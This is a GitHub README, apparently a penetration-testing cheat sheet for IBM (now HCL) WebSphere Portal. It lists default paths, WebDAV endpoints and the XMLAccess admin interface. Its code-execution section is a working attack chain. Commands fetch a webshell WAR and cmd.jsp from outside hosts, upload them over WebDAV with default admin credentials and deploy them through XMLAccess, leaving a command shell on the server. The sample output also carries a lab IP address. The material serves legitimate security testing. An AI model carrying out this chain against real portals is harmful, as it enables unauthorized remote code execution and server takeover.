Resources and insights on testing the security of a IBM (now HCL) WebSphere Portal

Giulio 36e3b7b322 Markdown fix 4 months ago
Readme.md 36e3b7b322 Markdown fix 4 months ago

Readme.md

Intro

There are little resources and even less tools available to test the security of a WebSphere Portal website, although they are common in the corporate environment. Most of the stuff described here will seem obvious to people who work daily with this huge piece of software and in fact the objective here is to build more of a cheat sheet that a proper guide.

Useful resources

What to look for

WebSphere portal (from here WPS) is a CMS deployed on top of the WebSphere Application Server (WAS). It's written mainly in Java, utilizes a heavy dose of XML and is heavy and obscure as most IBM software is. The documentation is huge and it's hard getting around it within the timeframe of a penetration test.

As Tomcat does, WAS has an administrative interface where an application can be deployed and managed. This console would normally be on the port 9060 (http) or 9043 (https). This means that in a normal scenario it won't be exposed to the internet when facing internet-facing websites (a different story might be in intranet portals). At the same time, there are standard administrative portlets deployed by default. We'll look at interesting URLs in the next section.

The main objective is to obtain at least a directory traversal vulnerability and from there gain code execution. An example of this type of vulnerability in WPS is CVE-2012-4834 and although old it might still be found on legacy websites. This kind of vulnerabilities can of course also be in custom portlets, JSP pages or other dynamic content. Once there's an arbitrary file read it should also be possible to get a lot of useful additional information, including JDBC objects, LDAP binds and of course administrative credentials.

Url Scheme

This is an interesting read and there's also a Burp plugin. URLs can also be plaintext.

Interesting paths

Here's a short list of interesting paths and what they means (assuming that the base is /wps:

  • /wps/portal - Default main portlet
  • /wps/login - Default login portlet
  • /wps/proxy - Default proxy portlet. Normally there's a few whitelisted sites including /wps/proxy/http/www.ibm.com
  • /wps/federated

WebDAV

By default, there are multiple WebDAV endpoints as described here.

Visit /wps/mycontenthandler/!ut/p/model/service-document to list the available endpoints. (this page might require an user)

Example output:

<app:collection href="/wps/mycontenthandler/!ut/p/dav/fs-type1/fs-type1">
<atom:title>fs-type1-fs-type1</atom:title>
<app:categories fixed="yes">
<atom:category term="webdav"/>
<atom:category term="filestore"/>
<atom:category term="mashups"/>
</app:categories>
</app:collection>
<app:collection href="/wps/mycontenthandler/!ut/p/dav/fs-type1/users/wpsadmin">
<atom:title>fs-type1-user</atom:title>
<app:categories fixed="yes">
<atom:category term="webdav"/>
<atom:category term="filestore"/>
<atom:category term="mashups"/>
<atom:category term="user"/>
</app:categories>
</app:collection>

As we can see here's the user filestore meaning that also low privileged users should have write permissions in their own directory.

Other administrative WebDAV endpoints includes:

  • /wps/mycontenthandler/dav/themelist
  • /wps/mycontenthandler/dav/skinlist
  • /wps/mycontenthandler/dav/contentmodel/wps.content.root/
  • /wps/mycontenthandler/dav/content/libraries/

Here are some additional information.

XMLAccess

XMLAccess is an administrative configuration endpoint, based on XML which is commonly available on the internet at the path /wps/config. If that path requires authorization or returns a 405 code for a GET request than the interface is available and administrative credentials are required.

For ease of use, I have extracted the XMLAccess utility and modified it to work standalone.

Here's the standard usage:

./xmlaccess.sh -url http://<target>/wps/config -in xml/ExportAllUsers.xml  -user wpsadmin -password wpsadmin
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
EJPXB0002I: Reading input file /tmp/xmlaccess/xml/ExportAllUsers.xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- IBM WebSphere Portal/8.5 build 20180912-1300 exported on Sat Jul 13 15:08:46 UTC 2019 from 2b0019a69dd7/172.17.0.2 virtual portal: none (default virtual portal) -->
<!-- 1 [user Z9eAe1JCC3JL6P1C2MM8CN9E4JMG6G1C0JM4723CAJMGCG9CE3OCCJ1P83OG633 name=uid=wpsadmin,o=defaultWIMFileBasedRealm] -->
<!-- 2 [group Z8eAeIHPA3P074BO6MMS6PHPAMMG61BD6MM4CI1ECMM47IPC63IDCGPDA3JLC43 name=cn=wpsadmins,o=defaultWIMFileBasedRealm] -->
<request build="20180912-1300" type="update" version="8.5.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="PortalConfig_8.5.0.xsd">
    <portal action="locate">
        <user action="update" domain="rel" name="uid=wpsadmin,o=defaultWIMFileBasedRealm" objectid="Z9eAe1JCC3JL6P1C2MM8CN9E4JMG6G1C0JM4723CAJMGCG9CE3OCCJ1P83OG633">
            <parameter name="sn" type="string" update="set"><![CDATA[wpsadmin]]></parameter>
        </user>
        <group action="update" domain="rel" name="cn=wpsadmins,o=defaultWIMFileBasedRealm" objectid="Z8eAeIHPA3P074BO6MMS6PHPAMMG61BD6MM4CI1ECMM47IPC63IDCGPDA3JLC43">
            <access-control externalized="false" owner="undefined" private="false"/>
            <member-user id="uid=wpsadmin,o=defaultWIMFileBasedRealm" update="set"/>
        </group>
    </portal>
    <status element="all" result="ok"/>
</request>
EJPXB0020I: The request was processed successfully on the server.

Available examples are in the xml folder on the xmlaccess repo.

Executing code

Here's an example of how to gain code execution knowing the administrative credentials and using WebDAV and XMLAccess. In the case that the target server does not block outbound connections, it might be possible to skip the WebDAV usage and deploy a portlet directly via HTTP.

A portlet needs some more configuration files than a standard Tomcat war application. A useful example can be found here. In this case, it is easier to add a JSP file to the WAR and use it as a command shell.

Prepare the portlet

wget https://github.com/kost/webshell-portlet/raw/master/bin/ExecCmd-2.0.war
wget https://gist.githubusercontent.com/ErosLever/7445a3cfaaf80f1f5a53/raw/f14a53bd1095a387c063466167d49c20bb94050a/cmd.jsp
mv ExecCmd-2.0.war shell.war
zip shell.war cmd.jsp

Upload it via WebDAV (cadaver is a CLI WebDAV client):

cadaver 'http://116.203.252.192:30015/wps/mycontenthandler/!ut/p/dav/fs-type1/'
Authentication required for WPS on server `116.203.252.192':
Username: wpsadmin
Password:
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/> ls
Listing collection `/wps/mycontenthandler/!ut/p/dav/fs-type1/': succeeded.
Coll:   common-resources                    4096  Jul 13  2019
Coll:   iwidgets                            4096  Jun 26  2009
Coll:   layout-templates                    4096  Jun 26  2009
Coll:   public                              4096  Jun 26  2009
Coll:   skins                               4096  Jun 26  2009
Coll:   system                              4096  Jun 26  2009
Coll:   themes                              4096  Jul 13  2019
Coll:   users                               4096  Jun 26  2009
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/> put shell.war
Uploading shell.war to `/wps/mycontenthandler/!ut/p/dav/fs-type1/shell.war':
Progress: [=============================>] 100.0% of 6267 bytes succeeded.
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/>

In the docker container, the file will end in /opt/IBM/WebSphere/wp_profile/temp/dockerNode/WebSphere_Portal/JCRFileStore/filestore/fs-type1/shell.war.

Now prepare the XMLAccess DeployPortlet command ans save it as DeployPortlet.xml:

<?xml version="1.0" encoding="UTF-8"?>
<request
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="PortalConfig_8.0.0.xsd"
    type="update"
    create-oids="true">


    <portal action="locate">

        <!-- Sample JSR 286 portlet -->
        <!-- The uid must match uid attribute of portlet-app in portlet.xml. -->
        <web-app action="create" active="true">
           <url>file:///opt/IBM/WebSphere/wp_profile/temp/dockerNode/WebSphere_Portal/JCRFileStore/filestore/fs-type1/shell.war</url>
           <context-root>/wps/shell</context-root>
        </web-app>


    </portal>
</request>

And fire it:

./xmlaccess.sh -url http://<target>/wps/config -in DeployPortlet.xml  -user wpsadmin -password wpsadmin
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
EJPXB0002I: Reading input file /tmp/DeployPortlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- IBM WebSphere Portal/8.5 build 20180912-1300 exported on Sat Jul 13 13:42:39 UTC 2019 from 2b0019a69dd7/172.17.0.2 virtual portal: none (default virtual portal) -->
<request build="20180912-1300" type="update" version="8.5.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="PortalConfig_8.5.0.xsd">
    <status element="all" result="ok"/>
</request>
EJPXB0020I: The request was processed successfully on the server.

The webshell will be now available at http://<target>/wps/shell/cmd.jsp and will be working.